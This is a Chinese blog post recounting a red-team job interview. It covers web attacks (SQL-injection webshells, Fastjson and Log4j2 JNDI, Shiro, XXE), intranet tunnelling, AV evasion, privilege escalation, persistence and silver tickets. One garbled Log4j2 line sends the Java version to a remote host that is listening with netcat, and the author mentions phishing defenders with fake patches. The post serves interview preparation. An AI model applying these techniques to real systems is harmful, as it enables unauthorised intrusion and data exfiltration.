免责声明:该?章仅供安全学习和技术分享,请勿将该?章和?章中提到的技术?于违法活动上,切勿在?授权状态 下对其他站点进?测试,如产?任何后果皆由读者本?承担,与猩红实验室?关!如有侵权,联系删除,转载请注明出处,感谢!
面试的时间很长,导致有很多问题都忘了,只想起来这些,面试寄了,师傅们当个参考就好。 1.简单自我介绍 答:工作经验,项目经验,擅长的方向巴拉巴拉 2.你在hvv/攻防演练中取得了哪些成绩? 答:照着自己的经历说就行 3.上一个工作的主要内容? 答:同上 4.有没有遇到过有意思的逻辑漏洞? 答:找回密码跳步,6个1的测试验证码等等 5.有没有自己开发过武器/工具? 答:没有,只二开过小工具 6.有cve/cnvd吗? 答:我菜,没有 7.有src排名吗? 答:我菜,没有 8.有钓鱼经历吗?具体说说 答:钓校园vpn,hvv期间伪造重大漏洞补丁群发蓝队邮箱等等
Web方面: 1.xss除了获取cookie还能干什么? 答:用户劫持、结合csrf 补充:貌似能提权?? 2.Ssrf的原理与危害? 答:伪造服务器给内网发消息 3.Ssrf和csrf有什么区别? 答:csrf伪造客户端,ssrf伪造服务器端 4.如何寻找注入点? 答:字符,数字,盲注… 5.有用过sql注入传马吗? 答:用过into outfile 补充:可以通过日志文件写入木马 6.–os-shell的条件? 答:拥有网站的写入条件 补充:Secure_file_priv参数为空或者为指定路径。 7.Fastjson的原理? 答:启一个rmi的服务器,上面挂payload,让被攻击的目标反序列化特定的类,这个类最终会调用lookup()函数,导致jndi接口指向rmi服务器上的恶意payload 8.利用fastjson注入内存马原理? 答:不知道这里应该怎么说,例如spring mvc的话就是通过fastjson的反序列化,利用jndi的方式让web端加载恶意类,注入controller 9.内存马免杀有做过吗?具体说说 答:没做过,在网上找现成的 补充: Filter名称是否合理 Filter对应的类名是否合理 Filter对应的类是否在classpath下 网站web.xml中是否存在改filter
10.Shiro550和shiro721的区别? 答:550有url就行,721还需要提供有效的rememberMe Cookie 补充:721多了个rememberMe Cookie重认证 11.你能从代码层理解shiro的原理吗? 答:这个说起来太麻烦了,自行百度吧 12.你拿到key了但是没有攻击链,此时应该怎么办? 答:这个我真不知道了 13.Log4j2高版本jdk不支持外部加载jndi,应该怎么利用? 答:不会 补充:目前高版本JDK的防护方式主要是针对加载远程的ObjectFactory的加载做限制,只有开启了某些属性后才会通过指定的远程地址获取ObjectFactory的Class并实例化,进而通过ObjectFactory#getObjectInstance来获取返回的真实对象。但是在加载远程地址获取ObjectFactory前,首先在本地ClassPath下加载指定的ObjectFactory,本地加载ObjectFactory失败后才会加载远程地址的ObjectFactory,所以一个主要的绕过思路就是加载本地ClassPath下的ObjectFactory。具体的先知和跳跳糖上有文章,自己去看。 14.不借助dnslog有办法检测log4j2是否出网吗 答:dns到vps判断是否出网 补充:使用logg.error(“KaTeX parse error: Expected '}', got 'EOF' at end of input: …s://xxxxx:8090/{java:version}}”);在自己的VPS上nc -luvvp 8090即可收到信息 15.你是如何验证struts2是否存在的 答:检测工具,或者抓包,改post,把content-Type改为application/xml,放上payload 16.有做过代码审计吗?有0day吗? 答:做过,没有 17.Redis未授权有了解吗? 答:有,可以配合ssrf打组合拳 18.Springboot 有哪些漏洞? 答:只知道一个snakeyaml 19.冰蝎和菜刀等webshell工具有什么区别? 答:冰蝎有流量动态加密 20.Xxe原理与攻击手法? 答:解析XML输入时可以加载外部实体类,造成文件读取,命令执行等危害。直接dtd加载dnslog等等
内网方面: 1.如何判断当前主机是否在域环境内? 答:ipconfig /all看dns后缀 补充:systeminfo、net config workstation、net time /domain 2.linux和windows怎么判断? 答:linux大小写敏感 3.Cs和msf的优缺点? 答:我当时回答的是msf功能强大,但是只能上线一台,cs可以同时上线多台机器,插件多,但是没msf好用。 4.如何进行cs特征隐藏? 答:修改默认的50050端口,修改证书文件特征 补充:利用插件设置混淆配置文件 5.免杀有几种途径? 答:修改特征码、流量混淆、花指令、加壳 补充:看格林的免杀思路总结 6.谈谈Windows系统与Linux系统提权的思路 答:我当时只说了win的提权 补充: Win 1.系统内核溢出漏洞提权 2.数据库提权 3.错误的系统配置提权 4.组策略首选项提权 5.WEB中间件漏洞提权 6.DLL劫持提权 7.滥用高危权限令牌提权 8.第三方软件/服务提权等 Linux 1.Linux内核漏洞提权 2.低权限用户目录下可被Root权限用户调用的脚本提权(SUID) 3.环境变量劫持高权限程序提权 4.sudoer配置文件错误提权
7.你是怎么搭建隧道的 答:探测内网出网协议,netsh端口转发,正反向shell,转发dmz区端口,反弹socks5, 8.权限维持的思路? 答:加服务,加注册表 加启动项 9.简单说一下mssql提权 答:我只记得xp_cmdshell和自启动 补充:trigger提权、沙盒提权、计划任务提权、sethc.exe 替换粘滞键提权 (替换c:\windows\system32\下的sethc.exe替换c:\windows\system32\dllcache\sethc.exe) 10.制作白银票据需要哪些条件? 答:域名、SID、密码HASH、伪造用户名、要访问的服务
|